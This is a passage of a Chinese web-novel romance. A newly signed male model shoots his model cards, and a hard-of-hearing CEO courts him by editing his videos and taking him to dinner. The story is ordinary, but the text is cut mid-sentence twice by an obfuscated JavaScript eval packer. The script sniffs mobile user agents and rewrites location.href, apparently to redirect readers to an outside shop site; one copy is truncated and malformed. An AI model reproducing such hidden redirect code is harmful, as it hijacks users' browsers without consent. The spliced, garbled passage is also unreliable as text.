他还特地找了个显眼的位置丢呢,结果魏英喆居然晚上才发现。 ———— —— 6.6 - 一般遇到这种情况,该主动说要去拿。 但尹昭情决定再等等。 一来他并不着急用,回荷园有师姐妹帮忙开门。二来他兴致盎然,想看看如果自己不按常理出牌的话,对方又要怎么拆招。 于是尹昭情拿起手机回复。 情天娃娃:谢谢小叔(?????) 情天娃娃:但我这两天要拍摄,等我空下来再找你? 老鹰双吉堡:好 老鹰双吉堡:好 (^_^) ...等等。 尹昭情震撼不已。 对方竟然会用颜文字! 在聊天框稀奇了半晌,尹昭情切软件,找了几个视频,睡前边看边学。 - 签约后还是要练台步。一连两天尹昭情都去了风尚报到。 瑞贝卡的雷厉风行在工作效率上体现得淋漓极致,下午她打了个电话给尹昭情:“在公司?” “在的卡姐。”尹昭情说。 “给你安排了模卡拍摄,风尚二楼创意空间,找一个叫菲比的女摄,她会负责你今天的所有工作。” 尹昭情道谢,依言寻到创意空间。 风尚规模大,二楼一整层都改造成摄影棚,创意空间左侧摆满衣帽架,按照服装的不同风格进行分类,推门进去入目所及就是一面纯白无缝的墙,两侧架着几排灯架,银色反光伞和柔光箱悬置半空,灯色冷白,满地缆线被胶带贴齐。 使用创意空间需要预约,上一个拍摄完的模特已经收拾好东西准备走人,尹昭情步入,室内几道视线瞬间看向他。 过分精致的脸一旦出现在视野内,就能轻而易举攫取住人们的呼吸。 或许是瑞贝卡已经提前找造型师给他包装过的缘故,尹昭情肩侧垂落的长发更加乌黑柔顺,层次分明,每一缕发丝的走向都在把控中,把本就白净的脸衬得越发清冷。 细碎额发下形状漂亮、眼波含情的桃花眼带着若有若无的笑意,湿润晶莹,眼睛看人时仿佛会说话,暧昧地呢喃,温柔如絮语。 这样一笔一笔宛如鬼斧神工的精巧五官,在行内人眼中等同于行走的流量,行走的招牌,行走的钱。 脸蛋高级的女模比比皆是,脸蛋高级的男模十年难求。 自从瑞贝卡从六大经纪人手里抢走尹昭情后,风尚茶水间的话题就一直围绕着这位新人。 24岁已经算入行较晚,在男模市场空前低迷的情况下,他会有什么样的成绩? 通常来说,新人男模入行一周内能接到一单几千块的拍摄邀约都算佼佼者。而今天这场模卡拍摄完毕后,尹昭情才会正式流入模特池,被风尚内推给各大合作品牌,进行首秀亮相。 那么如何包装,如何找对风格极其重要。 影棚有搭内台,尹昭情站在台阶下,询问门边的男人,谁是菲比。 “菲比,有人找。”男人扯着嗓子喊了声。 远处蹲在地上整理资料的短发女摄抬头看下来,“谁啊?” “卡姐叫他来的。”男人道。 菲比干摄影十多年,今年三十多岁,闻言嘶了声,在看见尹昭情的发型和脸后,震惊起身:“哇...哪来的美女妹妹,你们又招新人了?” 尹昭情挑眉:“我是男生。” “啊?”菲比一听他说话嗓音就知道自己闹了个乌龙,捂嘴,“不好意思不好意思,因为你长太好看了,我一时没认清。” “没关系啦。”他笑。 “你叫什么名字?”菲比问。 “尹昭情。” “尹昭情...噢我知道了,卡姐跟我说今天要给新来的男模拍模卡。”菲比已经连续跑了一周外景拍摄,回来时瘦了八斤,这会儿完全靠人中抹的风油精吊着一口气,她一拍脑袋,“瞧我这记性,不好意思不好意思,我想起来了。” 说完菲比的眼神凝在他脸上,指腹抵着下巴思考片刻,“先给你拍五组模卡碰一下风格。一套黑西装,一套日系可爱风,一套复古油画,一套韩杂时尚,一套中式光影。五组大概要拍三小时,你看吃不吃得消?” “我没问题。” “哦?”菲比开始调试拍摄设备,语气不乏欣赏,“你确定吗,一口气拍下来还挺累的,并且中途得换好几次妆造。你能行?” “不试试怎么知道。”尹昭情勾唇。 “OK。”菲比露出满意的表情,将他带到服装区,“按顺序来,这套你去换上,衬衫解一颗扣子,头发不用扎。” “不用扎吗?”尹昭情意外。 “对。”菲比说,“展示你最原本的模样就行,泪痣也不用遮,后续如果有品牌要求短发或无痣,团队会给你处理,比如戴假发和上遮瑕,总之不用担心。” “好,谢谢菲比姐。”尹昭情接过衣服,进了更衣室。 等尹昭情再出来时,创意空间里走了几个人,又多了几个人,主要是来凑热闹的。 而沈欧包也在场。 他没面上模特,但曲线救国,居然面上了助理,目前等待风尚给他分配艺人。 “老大!”沈欧包兴奋地挥舞双手,“你好帅啊老大!” 尹昭情意外,站在灯光下遥遥朝他笑起来。 这一笑,菲比就摁下快门,捕捉了一个称得上“甜点时刻”的瞬间。 这套黑西装主要营造清冷感。不同于职场精英那类常规印象,需要模特有高强度的镜头表现力,以及有故事感的眼神。 菲比调整镜头,对准尹昭情的脸,调动现场:“灯光往左移一点。” “模特往前走一步,对,一小步就行。” “看镜头。” “道具组呢?上一下风机,从左往右吹。” “好,模特单手插兜,肩膀稍微朝□□斜,视线呈仰角,想象一下,现在,此时此刻,你和挚友因为理念不合,决定分道扬镳。对方转身走远,而你只是抬头看了一眼。” 尹昭情愣了愣,随着菲比的描述想象着画面。 只是抬头看了一眼,不再挽留。 他心中默念,垂下眼睫,几秒后抬眸。 等摄像机再次聚焦在他脸上时,现场所有人都屏住了呼吸,不敢发出一点动静,生怕打扰美人嗔目。 上挑的眼尾质感变得空而冷,眼神里是一层悲伤和诸多坚韧,眼底隐约浮着一层水光,却不曾真正溢出,像潮水褪去后留下的湿痕。 他的眼睛变成两汪湖水,湖面结冰,所有的欲语还休都藏在霜下,脸部轮廓和侧视角度构造出他的美丽与薄情。 与方才那个翩翩而笑的尹昭情大相径庭。 镜头记录下锋利到足以穿屏而过的复杂情绪,菲比抬起手:“咔。” “...非常,非常棒。”菲比内心山洪呼啸,惊叹之余保持专业性,迅速调整摄像机角度,克制道,“下一张。” 一套衣服需要拍摄出四张模卡,构成一组风格照。菲比陆续拍摄七八张后,吩咐:“化妆师过来一下,下一组拍日系,给他找个糖果色的领带,唇釉选个嫩的色号。” “道具组帮我翻翻有没有气球,红黄蓝的最好。麻烦赶紧打几个,绑成一串。” “背景幕布麻烦换成粉色哈,辛苦大家!” 现场被彻底调动,没人交头接耳了,不是一个团队的也互相搭把手,抱着必出神图的决心,想让模特能快点换上装。 尹昭情被带去重新做妆造,做完进了更衣室,迅速换好衣服,出来后现场众人均深吸一口气。 这次他的衣服是多巴胺色系,淡黄领结,拼贴风上衣,牛仔蓝百搭板鞋,白色袜套,五分裤,露出一截细长白皙的小腿。 造型师给他卷了卷发尾,搭配一款头戴式道具耳机,日杂少年感扑面而来。 菲比示意他看镜头:“笑得甜一些,想象你看到了喜欢的人,并且你们今天要去约会。” 这组照片和上一组风格差异极其大,一个天南一个海北。故而所有人都以为尹昭情可能会无法适应,导致这组模卡报废。 然而不知是不是因为他从小生长在台南这样吃什么都要“全糖”的地方,他适应良好。 尹昭情灿烂地笑起来,漂亮的眼睛弧度可爱,手里攥着气球的扎口绳,聚光灯打在他脸上,两节锁骨凹陷有致。 道具组给他搬了个小沙发,他手肘搭在沙发背上,站在一侧灵动而鬼马地松开手,放飞气球。 菲比怒拍十张:“很好很有表现力,尹昭情是吧?你有点东西!” “谢谢菲比姐。”尹昭情九十度鞠躬。 两组模卡拍摄完毕,棚里的人则越来越多。 不知道谁放了消息出去,说创意空间在拍时尚大片。导致风尚上上下下的工作人员都趁机跑过来观赏,实则偷偷摸鱼。 瑞贝卡风风火火回到风尚,有人瞧见马上开玩笑:“卡姐回来了?你怎么把刚刚签的新人一个人丢在这拍摄啊!也不怕到时候拍不出合适的模卡?” “抱歉,刚跑了个商务。”瑞贝卡朝不远处摆pose的尹昭情点点头,转头和那人说,“我怕什么?一个是我引荐来风尚的最好的摄影师,一个是我手上唯一的模特。他们合作,要是连个模卡都拍不明白,我这十几年不是白干?” 那人被噎了一嘴,不敢作声。 菲比见她回来,朝她招手:“卡姐,电脑出图了,两组模卡要八张,我拍了二十多张,你来选选。” 闻言瑞贝卡大跨步走到电脑前,和菲比一起挑照片。 尹昭情将道具组的耳机和气球都归还,被瑞贝卡叫到电脑前,一张张同步过图。 “...可以吗?”尹昭情知道瑞贝卡是出了名的严苛,紧张问。 “不错。”瑞贝卡视线严厉扫过图库,余光瞥见尹昭情略有些干燥的嘴唇,突然皱眉侧头,看着一大帮来凑热闹的下属,“你们站在这里纯看戏是吧?” “艺人自己不好意思说,你们也装看不见?拍摄了一个多小时连瓶水都不知道给他喝?” “助理呢?后勤部的人在哪?” “卡姐,他还没有助理呢。”有人小声提醒。 “什么?”瑞贝卡嘴角抽搐,抓狂地掏出手机,跟尹昭情解释,“萧确是不是活腻了,我让他给你安排个好用的助理,他死哪去了!” 沈欧包弱弱地站在后面出声:“老大,我还没有艺人。” 尹昭情秒懂:“卡姐,我能不能要他?” “你俩是?”瑞贝卡问。 “朋友。”尹昭情道。 “行。”瑞贝卡点了头,“你自己挑的更好。” “欧耶!!”沈欧包当场鼓了个掌,“我终于有正经工作了!这下我爸妈就没理由叫我回去继承家业了!” “老大你等着,我去给你拿水!” 沈欧包恨不得一口一口喂尹昭情,尹昭情这才得知, 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如果此刻有画框,他就是活过来的古老肖像画,时间在他身上流淌而过,映照出古典风韵。 魏英喆站在人群最外圈。室内声音交杂。 影棚里灯架林立,助理来回走动,摄影师和造型师不断说话,快门声、风机声、脚步声混在一起,声音碎得像被打散的玻璃。 在公共场合,听障人士或许会更愿意摘下助听器,摒弃一切声音。 因为人流过多过杂时,他们接收的信息纷乱,心情会很烦躁。 但魏英喆没有选择摘掉助听器,而是注视影棚中心。 世界只剩下这一个焦点。尹昭情站在光里,目光有一瞬间和他交汇,又轻轻错开。 最后一套是中式光影。 道具组搬来青竹,背景幕布换成纯白,竹影摇曳。 尹昭情长发垂落在胸前,鼻梁上架着一副无框眼镜,细长的眉毛扶风化柳,身穿新中式水墨风长褂。 裁云作衣,剪霞为袖的气质,如切如磋,如琢如磨的风度。 他猜尹昭情其实会唱昆曲。 只是不愿意唱给不重要的人听。 安静站在原地看了快两个小时,尹昭情的模卡拍摄全部结束,道具组开始整理现场,菲比准备收工。 “魏总?”有人回头,才发现身后站着魏域科技总裁,“您怎么在这里?!” 魏英喆随手指了指自己耳朵,目光还落在尹昭情脸上。 “意思是他听不见。我们不要打扰魏总了。”一行人推推搡搡走出创意空间。 早在魏英喆踏入摄影棚的瞬间,尹昭情就注意到了他。 尽管内心十分惊讶,表情还是得管理好,毕竟是在拍摄。 “欧包,麻烦你帮我把外套送回化妆室。”尹昭情将衣服递给他,“今天辛苦你了,我请你吃饭。” “客气客气。”沈欧包冲他比大拇指,“老大你简直天生吃这碗饭。” “谢谢。”尹昭情眨眼。 送走欧包,尹昭情越过满地的纸箱子,走到魏英喆面前。幕布灯光在他身后勾勒出璀璨的光圈,魏英喆深沉漆黑的眼睛一动不动看着他,直到尹昭情忽然轻轻扬起唇角,做了个手势。 手指并拢,在鼻子下方划动两次。 手掌微弯,从胸前落下,手指闭合,模仿太阳落山。 最后大拇指向上作点赞状。 两组手语动作,合在一起的意思是:“叔叔,晚上好。” 打完手语,尹昭情双手背在身后,弯着眼睛朝他笑,一句话都没说。 魏英喆瞳孔骤缩。 脸上渐渐浮现了错愕、讶然、自我怀疑、震惊等神色。 这是魏英喆迄今为止见过的最漂亮的手语。 和它的使用者一样,皮囊漂亮,骨相漂亮,灵魂也漂亮。 尹昭情年轻,美丽,明亮,鲜活。尹昭情迷人,炽烈,张扬,危险。 但是尹昭情是完美的。 一个完美的人为了方便和他这样残缺的人交流,自学了手语。 强烈的留恋感裹住肺腑。 倘若他没有保存好尹昭情在自己手机里写上的文字,那天饭桌上的种种互动都会随着文档的删除而消失。 他们就好像没有见过面,没有聊过天。 而倘若他是一个能听到声音的人,他才能准确地记得尹昭情的呼吸与抑扬顿挫。 “小叔?”尹昭情开口,“你今天怎么会来风尚?” 魏英喆回神:“我本来是想着刚好路过,把钥匙归还给你。” “嗯?”尹昭情心道也是,“那钥匙呢?” “...结果忘记带了。”魏英喆说。 尹昭情挠挠脸,笑了:“没关系没关系,那我改天再找小叔拿。” 魏英喆手指摁压上衣口袋里藏着的那把钥匙,问:“学了手语?” “还不熟练。”尹昭情摇头,“目前只会这一句。我睡觉前刷视频学的,学得很慢哦。” 魏英喆也抬手,动作缓慢地做了一串手语。 “什么意思?”尹昭情困惑,“我好像只看懂一个‘你’字。” 魏英喆摇头,没有解答。 他刚刚其实在跟尹昭情说,“你是特别的存在。” ———— —— 7.7 - 尹昭情去了瑞贝卡的办公室。 她作为副总有单独的总裁办,电脑里已经同步传输好拍摄成组的模卡。 “这五组我稍后放到公司模特池,后续如果有品牌邀约再通知你,这几天你控制饮食,记住我交代你的事儿,减重提上日程。”瑞贝卡看着尹昭情,抬下巴,“把沈欧包也叫进来。” “卡姐,有什么吩咐?”沈欧包殷勤,满脸写着“我热爱工作,快让我干活”。 “你作为昭情的助理,得跟其他经验丰富的助理学着点。”瑞贝卡说,“行程航班酒店,服装管理、试场资料,还有帮忙联系品牌和制作团队,任何工作都要留痕。” “收到。”欧包甚至行了个礼,“艺人就是我的上帝。” 瑞贝卡无语扶额,一挥手:“行了你们回去吧。” 虽然瑞贝卡上班时常喝酒,但办事靠谱。尹昭情是她手上唯一的艺人,她特地联系了管理部门,在模特池给尹昭情打上备注,告知各大品牌方,艺人状态还会更好,是公司现阶段极力推荐的新人。 大部分品牌看到这种备注,至少会考虑给一次试镜机会,尤其是针对风尚的艺人。 “卡姐,我有件事情想询问你的意见。”尹昭情抿唇,忐忑地开口。他跟瑞贝卡还不算熟悉,有点怕她。 “什么?” “上次您说我最好同步做自媒体账号。”尹昭情问,“公司有运营吗?可以给我配一个剪辑师吗?” 瑞贝卡头痛:“有是有的。但很遗憾,你也知道我好多年没带过男模了,所以手上没有合适的运营。目前风尚这个岗位比较缺,公司基本只会给力捧的艺人分配团队。要不然你自己来吧。其他普通公司都鼓励艺人自己做账号。” 尹昭情爽快应下。 他要请欧包吃饭,两人往风尚大堂走。萧确和魏英喆坐在会客区沙发上不知道在说什么,桌上摆着几份文件,看表情聊的内容应该很正式,气氛不算轻松。 风尚管控严格,非员工进不了闸机,门口一个穿黄色外卖服的小哥跨步下了摩托,捧着一袋东西走进来,问前台:“你好,请问公司有没有一个叫尹昭情的员工?” 前台姐姐直接指明方向:“巧了,那边那位就是。” 外卖员欣喜,心道运气来了挡都挡不住,遂拔腿就冲到尹昭情面前:“尹先生,有你的花。麻烦签收。” 尹昭情被拦截在半路,瞥见外卖员手里的透明手提袋。 里面是一杯咖啡和一杯满天星,满天星用杯泥固定。 他百思不得其解,“请问是谁送的?” “一个叫...祝先生的。”对方查看信息,“您认识吧?” 祝先生? 祝其文? 尹昭情接过花,翻开卡片,右下方落款果然是祝主编大名。 他签下,翻开手机,第一条就是祝其文发的信息,问他花收到了没。 高达半小时后抵达风尚,帮魏英喆拉开车门时,注意到对方的神色,谨慎询问:“魏总,现在回香榧华府,还是有别的安排?” 魏英喆一时半会没说话,闭目靠着后座。 车内气氛沉闷,高达一个字不敢多言,好在开出去几分钟,阴晴不定的顶头上司终于开了金口:“去霍廷。” 霍廷是市中心一家私人搏击俱乐部,会员制,有一对一私教,环境很好,独立休息室、清吧、桑拿一应俱全,爱好拳击的有钱人时常在此消费,算半个销金窟。 擂台上私教举靶,喊着节奏,魏英喆换下西装,手臂肌肉虬结,动作猛而迅速,周围响起一连串砰砰砰的响声。 私教陪练完还不够发泄,魏英喆重新戴上拳击手套,对准沙袋继续练习。 拳拳到肉,沙袋被砸得猛烈晃动,节奏沉而狠。 闷响在空旷训练室反复回荡。 高达站在不远处,充当个吉祥物观众。 他默默看着上司的背影,心道人果然是越老心眼越小。 等对方打了半小时,高达上前制止,打手语:“魏总,这个月的药还没吃,明天我让私人医生送到魏域?” 这是魏老爷子一直让他按月服用的药,据说是调节内分泌和神经系统的。 具体调什么,高达也不清楚。 魏英喆停下,摘掉手套,戴上助听器,深而黑的眼眸看不出情绪,肩膀上全是汗,“老爷子最近怎么样?” “挺好的。” “大哥呢?” “已经回国了,说是过几天打算陪嫂嫂去西藏旅游。” “倒是悠闲。”魏英喆擦着汗,“我侄子呢?” “您给的那份生活费已经按月汇给他。”高达说,“他说他就算在国外也用不了那么多钱。” “我那是给他的吗。”魏英喆穿好外套,拨正助听器,面无表情,“也不看我给他以后他都花给谁了。” 高达了然,笑而不语。 家里没有什么需要魏英喆操心的,工作上也算顺风顺水,时间比较晚,魏英喆让高达先回去,他在清吧喝了杯酒,寄存在酒柜的罗曼尼康帝罕见地派上用场。 晚十点,他离开霍廷,楼下商场临近关门,健身房里倒还灯火通明。 尹昭情按照营养师的训练计划注册了这家健身房会员,练了一小时出来,恍惚间以为自己看错:“小叔?” 男人站在路边,没反应,他只好走过去拍拍对方肩膀。 “你的手怎么了?”尹昭情细眉轻拧,“有破皮。” 魏英喆低头一看,不怎么在意,解释,“捶沙袋用力过猛,手套摩擦的。没什么大事。” “拳击?”尹昭情略听说过。 “是。”魏英喆注意到他的鞋,提醒,“鞋带散了。” 尹昭情手上全是东西,衣服外套,矿泉水,还有一袋准备拎回家的水果,他正准备找个空地放,就听魏英喆说:“你别动了。我给你系。” 青筋分明的手背上有几处擦伤,动作生疏地给尹昭情打了两个蝴蝶结。 鬼使神差地,在对方起身之前,尹昭情也蹲了下来。 马路上川流不息,灯影光怪陆离。 他面对面看着魏英喆,鼻尖差点碰在一起。见对方瞳孔慢慢放大,尹昭情笑:“小叔,我看视频学手语的时候被博主科普了,他们说听障人士如果是后天失聪,在听力下降后会慢慢失去对拼音的感握。比如对某些音的区分会变弱。” “相对应的,字形记忆变得更强。” “所以有些听障人士可能会更依赖于直接写字。” “你是这样的吗?”尹昭情问。 魏英喆垂眸凝视尹昭情的嘴唇,半晌后点了点头。 “那怎么还给我发颜文字啊?”尹昭情下巴抵着膝盖,笑意盈盈,“总不会告诉我颜文字也是你手写出来的。” 魏英喆黑沉的眼眸与他对视:“你觉得是为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328692|198722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?” “不知道呢。”尹昭情不接招,跟他打太极,“难道你想偷学我的可爱?” “...” 两个人都没憋住,笑出声。 魏英喆抬手,本想将人拉起,却忽然停顿在空中,只做了个让尹昭情起身的手势。 “很晚了,回家吧。” 尹昭情在等白锦来接,定位早已发送,师姐正在赶来的路上。 “回家早点休息。”魏英喆交代。 “恐怕不行。”尹昭情摇头,“我回去可能还要研究一下怎么用剪辑软件。我大言不惭答应卡姐要做自媒体账号,可惜搞不懂如何剪转场。” “什么样的转场?” 尹昭情又手脚并用地描绘一遍。 “把拍摄好的素材发给我。”魏英喆说。 尹昭情不敢相信:“小叔你会?” - 夜里书房亮着灯,三块屏幕上放着实时股市行情,项目文件,还有剪辑软件。 魏英喆把音轨放大,沿着波形山峰一帧一帧对齐转场,再加了几个尹昭情需要的动画特效。 两天后,尹昭情将东西整理好,从荷园搬出来,重新住回自己在市区租的房子里。 他一下班就被高达接上车,第一次进入了魏域的园区。 魏域园区极大,中央草坪设计了一圈橡胶跑道,运动区里篮球、足球、羽毛球场一应俱全,人工湖做了喷泉水景,办公楼下是咖啡店和小餐厅。 高达扫描虹膜,专用电梯直达大厦顶楼。 “尹先生,您稍等一下,魏总还在开会。”高达给他倒好茶水。 “谢谢高伯伯。”尹昭情礼貌道。 十分钟后,魏英喆一边调整腕表,一边推门而入。 “过来。”魏英喆拉开椅子,点亮电脑屏幕,“先查收一下视频。” 总共五分钟,尹昭情越看越惊奇。 这的确是他要的转场效果。 “在你找到合适的剪辑师之前,我可以帮你剪vlog。”魏英喆说。 听到这话,尹昭情内心不免失笑。 坐着这么大一间办公室,手底下成千上万号员工,哪有时间天天给他剪视频。 他侧头想问对方是不是开玩笑,却不巧撞到魏英喆视线。 深色瞳孔倒映着自己的脸,办公室内一股熟悉的木质香,冷静克制,余味悠长。 视频已经从头开始播放,尹昭情站在办公桌沿,尾音轻挑,“我找到了合适的剪辑师之后呢?” 魏英喆:“我会交接给对方。” 尹昭情:“那如果我一直没找到呢?” 秒针转了一整圈,室内过分安静。 魏英喆沉默片刻,道:“我也是可以一直练剪辑的。” “个人爱好。” 尹昭情不好再装傻充愣,他忽然单手撑在办公桌沿,俯下身,近距离看着魏英喆,眨眼时像蝴蝶振翅,里面几分笑意几分探究,“小叔要什么报酬?” 大概是他刚刚喝过茶水的缘故,嘴唇水润,说话时发间挥散出清新的蓝风铃香。 魏英喆看了好一会儿,目光逐渐灼热,又强行皱眉打断,换了口呼吸后说,“...再送我一块石头也行。” “好礼不重样,小叔要不再想想。”尹昭情见好就收,伸手亮出掌心,狐狸般讨要,“我今天是来拿钥匙的哦。” ———— —— 8.8 - 狐狸,一种同时具有猫的软件与狗的硬件的动物。 狡黠,聪明,美丽,天性顽劣,擅长蛊惑,喜好梳理自己的尾巴。 独居动物,最多以小家庭为单位生活,性格上敏感挑剔,具有高强度的警惕性,捕猎时会“装死”,游离在忠诚之外,一边卖萌一边展示魅力的同时,也有可能忽然冲上来一口咬住饲主,几乎无法被驯服。 护食,唯我独尊的利己主义,即使吃不完也会藏起来,绝不分享给其他小动物,捕猎上常伴有远超过实际需要的过杀行为。 情绪激动的时候会失-禁。 尹昭情狭长的眼睛微微弯笑,满脸写着无害,站在那活脱脱狐狸转世。 魏英喆打开一个上锁的抽屉,把钥匙取出来,稳稳当当放在他的掌心。 低头细看,尹昭情的手骨节分明,十指修长,白皙干净,但让人意外的是,指腹有一层茧,掌心也不像珠玉般滑腻。 察觉到对方视线,尹昭情自己也奇怪地看了眼,没什么特别的,就是手而已,只不过客观来说,很漂亮。大概是基因好,他手指很长,小时候还被老师极力推荐学习钢琴,但家里没钱,最后不了了之。 “最近还好吗?”魏英喆问,“生活上有没有不习惯的地方?” “什么?”尹昭情回过神。 “营养师给你定制的食谱和训练计划。” “她很专业很称职,每天都要和我视频连线观察我的外形有没有变化。”尹昭情认真,“我买了体重秤放在家,每天睡前和起床都称一次,现在已经轻了4.3斤。” “非要说不习惯的话,饮食有很多忌口。”尹昭情不好意思道,“我老家吃的很甜,我也喜欢甜食。” 吃不到着实可惜,但他为了上镜必须忍。 “喜欢喝咖啡?”魏英喆说,“焦糖玛奇朵热量高,一杯下去恐怕很难稳定。” ...焦糖玛奇朵。 祝主编给他送的那杯咖啡就是焦糖玛奇朵,虽然明眼人都看得出来咖啡只是个陪衬,重点在于那杯满天星。 满天星的花语是“不张扬的、纯洁、真挚的爱”。 其实尹昭情根本没喝那杯咖啡。签收后他点进动态,发现祝主编近期在陪投资方吃饭,且转发了公众号编写的有关“纸媒衰落”的通稿。 看得出事业上并非顺风顺水,团队缩编,预算大幅度缩减,流量稿背弃时尚理念。 于是在拍照感谢祝其文时,他回了对方一首诗。 “愿君学长松,慎勿作桃李。受屈不改心,然后知君子。” 意思很直白,发了张好人卡。 你可是一个品德高尚的君子欸,你像松树一样有风骨欸,所以专于事业努力进取就好,切勿沉溺于儿女情长哟。 显然这是代表婉拒的赠诗,岂料祝其文看到后似乎更加钟爱,不到五分钟就给尹昭情回了词。 “居可无君子,交情耐岁寒;春风频动处,日日平安。” 意思是我的生活里没有所谓的“君子”虚名也无关紧要哦,我和你之间的交情绝对经得住岁寒的考验哦。在春风不断吹拂的地方我希望你每天都平安顺遂呢! 丝毫没有要放弃的意思。 对方有分寸有节奏,也是个职场里泡出来的人精老油条,一连两天没再打扰,只留尹昭情一人风中凌乱。 “小叔。”尹昭情品味过来这杯咖啡带来的延迟效应,憋笑,“你记忆力很好,这么久过去了你还记得。” “久吗?”魏英喆自言自语一句,站起身看一眼腕表,“饭点了。你吃没吃晚饭?” “没有。” “晚上有时间吗?”魏英喆看着他,“我带你去一家餐厅。你一定会喜欢。” “现在吗?”尹昭情挠脸,“高伯伯送我们?那会不会太麻烦,他好像总是加班。” “特助的工作就是全天待命,我给他开二十万的月薪。”魏英喆说,“但总是叫员工跑腿总归不好,人文关怀也是御下的方法之一。” 尹昭情若有所思,马上抓住机会,问:“小叔,怎样可以让助理对你忠心?” “体面、情绪、还有分寸内的好处一样都不能少。每个人心里都有一杆秤,用来算账。员工为公司付出时间和精力,公司能给他们什么?高昂的酬薪和灵活的假期,或者一个优秀的跳板平台。能做到这些就很好了,但如果要收买人心,投其所好很重要。” 尹昭情:“比如?” 魏英喆:“高达的弟弟前两年陷入劳务纠纷,我给他请了业内最好的律师。” 尹昭情亦步亦趋跟在魏英喆身后,追着他问:“那我们现在去哪里?我要减重,不能太荤腥——” “我知道。”魏英喆摁下楼层键,伸手帮他挡了下快要合上的电梯门,“所以带你去尝尝轻食。” 这回没有麻烦高达相送,魏英喆领着尹昭情去了魏域园区的地下车库,开了台宝马x5出来。 这台车和宾利相比,过于低调。 简单聊过后尹昭情才知道,原来这是魏英喆大学时他母亲送的礼物,竟然一直开到现在。 姥姥教过尹昭情,和人单独出门,如果要坐对方的车,不能坐在后座上。因为这样好像把对方当成了司机,不礼貌。 于是尹昭情自己拉开副驾驶座的门,弯腰坐进去。 车内仍是一股木质香,尹昭情正襟危坐,难免紧张。 坐了半分钟,大概是见他没反应,魏英喆忽然倾身过来。 虎口擦伤还没好全的大掌闯入视线,尹昭情脖子一紧,“小叔?” “安全带。”魏英喆偏头看他一眼,视线下垂扫过嘴唇,面不改色扯出安全带给他系好。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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豆腐洋行有台南最佳冰店之称,每个去台南的人都不舍得错过这一口甜食。 尹昭情在那儿长大,这份餐后甜品对他来说很特别,是真正意义上的“投他所好”。 “如果怕热量太高,给我来解决也行。”魏英喆见他半天没动,谨慎道。 他才刚开口尹昭情就已经端盘上桌,舀了很深的一口。 “小叔喜欢甜食?” “算不上喜欢,但也不讨厌,只是不常吃。” 尹昭情又舀一勺,口腔内蔓延开童年的味道,笑道:“那小叔喜欢什么?由于我现在心情很好,所以你可以向阿拉丁灯神小情提出三个愿望。” ———— —— 9.9 - “...那我许愿了。”魏英喆接招。 尹昭情翻开掌心,做了个邀请的动作:“请。” “我只要一个愿望。”魏英喆说,“希望阿拉丁灯神以后不要给别人说这三个愿望的机会,就算给了,也不要帮他们实现。” “没了?”尹昭情问。 “没了。” 尹昭情爽快:“成交。” “但如果我变成了漂流瓶呢?”尹昭情脑洞大开,“漂流瓶可以收小纸条,帮别人把烦恼抛向大海。或者我要是变成了河神,手握两把斧头问别人这有一把金斧子和银斧子,要选哪一把呢?” 魏英喆指腹摩挲杯口,“灯神只实现过我一个人愿望,这样就可以了。其他不强求。” 这是绝版的阿拉丁神灯时刻。旁人不会再遇到能实现愿望的灯神,不会再有和他此刻一模一样的体验,如此尽善尽美已经足够。 饭后魏英喆送他回家,导航定位在遇境小区,尹昭情租的房子在这。 坐上副驾驶座,尹昭情拿出手机,找到大陆常用的二手软件交易软件。在买东西之前,他特地发帖子问了问网友们,如果他有个朋友很喜欢某个角色,有什么推荐的周边。 热评第一带图评论,说这是个小海景,而且不会再贩。送这个给对方,对方将一辈子认你做义父。 尹昭情决定就是它了。 尽管知道沈欧包不缺钱,但心意总要送到。 于是他在二手交易软件上开始出价。 “在看什么?”魏英喆开着车问。 “打拍卖。”尹昭情低头嘀咕,遗憾地握紧拳头,“竞争很激烈,我才刚出价就被挤了下去。” 拍卖这个词对于上市公司总裁而言,其概念非常宏大。魏英喆皱眉:“拍什么?” 他已经准备给尹昭情转钱了。他潜意识里总觉得要打拍卖,资金得非常充足才对。 “一个小海景。”尹昭情说。 魏英喆思考,“多大?” “大概...呃。”尹昭情戳戳自己的手掌,“就巴掌这么大。” 魏英喆沉默两秒,“艺术品?” 海景是什么?雕塑装置?收藏级别的画作?还是要拍下一个私人海域? 尹昭情抬头看他一眼:“不是,马口铁的。” “......”没听说过。 “那应该挺贵的。”魏英喆说,“钱够吗?很喜欢的话我叫高达帮忙拍?” “叔叔。这是我从你那学到的‘投其所好’。”尹昭情费了九牛二虎之力忍住笑意,把手机里的照片放大,举在半空展示给驾驶座的人,“马口铁是徽章的材质,徽章又叫做吧唧,是一种周边。我的助理有这方面的爱好,我要买的这款已经绝版,故而叫海景。出它的人很少,对喜欢这个角色的人来说其意义远大,非常喜欢就会非常想要得到,所以二手交易软件上经常有类似的拍卖,价高者得。” 魏英喆抽空瞄了眼,淡定道:“其实我知道。” 尹昭情:“真假?” 魏英喆:“假的。” 两人对视一眼,车内传出笑声。 最终在心理价内拍下小海景,车也刚好停在尹昭情家楼下。 “谢谢小叔,再见。”尹昭情站在路边挥挥手。 “你先上去。”魏英喆把着方向盘,降下车窗,颔首示意。 目送尹昭情走进楼道的背影,依稀可见灯光在他脸上落下,照出白皙皮肤和镀金版的细软发丝,他的脸上带着笑意。 步入电梯,尹昭情按了楼层。 电梯门合上的瞬间,他看见楼道外停着的宝马x5绝尘而去,上扬的唇角于是荡然平息,一个眨眼的时间,他眼底浓烈的、氤氲着的情绪消失得无影无踪,归于一滩深不见底的池水般平静,仿佛刚才言笑晏晏、谈笑风生的不是他本人。 